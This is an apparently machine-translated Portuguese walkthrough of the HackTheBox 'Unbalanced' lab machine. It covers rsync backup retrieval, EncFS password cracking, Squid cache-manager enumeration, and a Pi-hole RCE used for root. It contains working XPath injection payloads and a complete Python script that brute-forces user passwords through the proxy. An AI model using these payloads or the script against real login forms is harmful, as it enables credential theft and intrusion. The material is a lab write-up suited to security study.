HackTheBox. Passo a passo desequilibrado. Rsync, EncFS, Squid, injeção XPath e RCE em Pi-hole



Continuo publicando soluções enviadas para finalização de máquinas do site HackTheBox .



Neste artigo, vamos lidar com o backup em rsync, adivinhar a senha para EncFS, trabalhar com o servidor proxy squid, explorar a injeção XPath e explorar RCE em Pi-hole.



Informação organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tem um endereço IP de 10.10.10.200, que adicionei a / etc / hosts.



10.10.10.200 	unbalanced.htb
      
      





A primeira etapa é verificar as portas abertas. Eu faço isso usando o seguinte script, que leva um argumento - o endereço do host que está sendo verificado:



#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
      
      









E observamos os serviços de proxy SSH, rsync e squid. Rsync é um programa para sistemas semelhantes ao UNIX que sincroniza arquivos e diretórios em dois locais enquanto minimiza o tráfego. O Rsync pode copiar ou exibir o conteúdo do diretório e copiar arquivos, opcionalmente usando compactação e recursão.



Vamos ver a lista de módulos disponíveis.



rsync --list-only rsync://unbalanced.htb:873
      
      









Copie conf_backups.



rsync -av rsync://unbalanced.htb:873/conf_backups conf_backups
      
      









Pela presença do arquivo .encfs6.xml, entendemos que este é um volume criptografado EncFS. Vamos obter um hash da senha.







E vamos resolver isso.







Assim, obtemos a senha com a qual a criptografia foi realizada. Resta montar a partição.







E obtemos uma lista normal de arquivos.







Estes são principalmente arquivos de configuração, e estamos mais interessados ​​no squid.conf. Vamos ver todas as linhas não comentadas.



cat squid.conf | grep -v '^#' | uniq
      
      













Salvamos a senha e marcamos o novo nome de domínio, que adicionamos a / etc / hosts. Também examinamos as ACLs.



10.10.10.200    intranet.unbalanced.htb
      
      





Vamos instalar um proxy no navegador e usar o nome de domínio encontrado para entrar em contato com o servidor web.







Somos recebidos por um formulário de autorização. Depois de passar algum tempo com ela, decidiu-se continuar trabalhando com lulas.



Ponto de entrada



Vamos dar uma olhada nas opções disponíveis.



squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu | grep -v 'disabled'
      
      









E podemos encontrar mais nomes de domínio.



squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache
      
      









E há mais três nomes. Nós os adicionamos a / etc / hosts (o último foi escolhido logicamente).



172.31.179.2    intranet-host2.unbalanced.htb 
172.31.179.3    intranet-host3.unbalanced.htb
172.31.179.1    intranet.unbalanced.htb
      
      





E no primeiro vemos que este site é uma solução temporária.







Em seguida, chegamos ao mesmo formulário de autorização.



DO UTILIZADOR



Testamos novamente e obtemos uma resposta à solicitação 'ou' '='.











E obtemos uma lista de usuários. Esta é a injeção XPath. O fato é que, com a ajuda de certas consultas, podemos descobrir as senhas de usuários para determinados nomes.



Portanto, para começar, você pode determinar o comprimento da senha usando a função string-length. Testando no login. Sabemos que o comprimento correto é 5, experimente a condição com 4 e com 5 e veja a diferença.











A diferença é visível. Depois de determinar o comprimento, podemos obter a senha um caractere de cada vez. Também testamos o login. Pegue a primeira letra e compare com 'a' e depois com 'b'.











A diferença também é visível. Vamos escrever um código que classificará todas as senhas para cada login de maneira semelhante.



import requests
import string

url = 'http://172.31.179.1/intranet.php'
proxies = {'http':'http://10.10.10.200:3128'}
users = ['bryan','sarah', 'jim', 'rita']

pass_str_len = "' or Username='USER' and string-length(Password)='"
pass_str_chr = "' or Username='USER' and substring(Password,NUM,1)='"

for user in users:
    for l in range(1,25):
        data = {'Username': '', 'Password': pass_str_len.replace('USER', user) + str(l) }
        request = requests.post(url=url, data=data, proxies=proxies)
        print('(' + str(l) + ') ' + user + ' : ' + ' '*10, end="\r")
        if 'Invalid credentials.' not in request.text:
            passwd = ''
            for num in range(l):
                for c in string.printable[:94]:
                    data = {'Username': '', 'Password': pass_str_chr.replace('USER', user).replace('NUM', str(num+1)) + c }
                    request = requests.post(url=url, data=data, proxies=proxies)
                    print('(' + str(l) + ') ' + user + ' : ' + passwd + c +' '*10, end='\r')
                    if 'Invalid credentials.' not in request.text:
                        passwd += c
                        break
            print(user +" : "+ passwd + " "*10)
            break
      
      









E o primeiro usuário tem acesso SSH com a senha encontrada.







RAIZ



Encontre a lista TODO no diretório inicial do usuário.







E podemos ver que as tarefas relacionadas ao Pi-hole ainda não foram concluídas (a senha é admin). Mas não foi possível visualizar as portas abertas, pois o netstat está ausente. Então você pode usar este script .







Estão abertas as portas 8080 e 5553.











E na resposta encontramos outro domínio e o IP correspondente. Vamos largar a porta e passar pelo navegador.



ssh -L 8080:127.0.0.1:8080 bryan@unbalanced.htb
      
      









Vá para a página e faça login com a senha admin. Na parte inferior, vemos a versão.







Vamos ver exploits.











Vamos iniciar o ouvinte e executar o exploit.











Vamos examinar os arquivos raiz e encontrar o script mencionado na lista TODO.











Ele contém uma senha.







Você pode se juntar a nós no Telegram . Lá você pode encontrar materiais interessantes, relatórios, cursos que vazaram e software. Vamos reunir uma comunidade na qual haverá pessoas versadas em várias áreas de TI, para que possamos sempre ajudar uns aos outros em quaisquer questões de TI e segurança da informação.



All Articles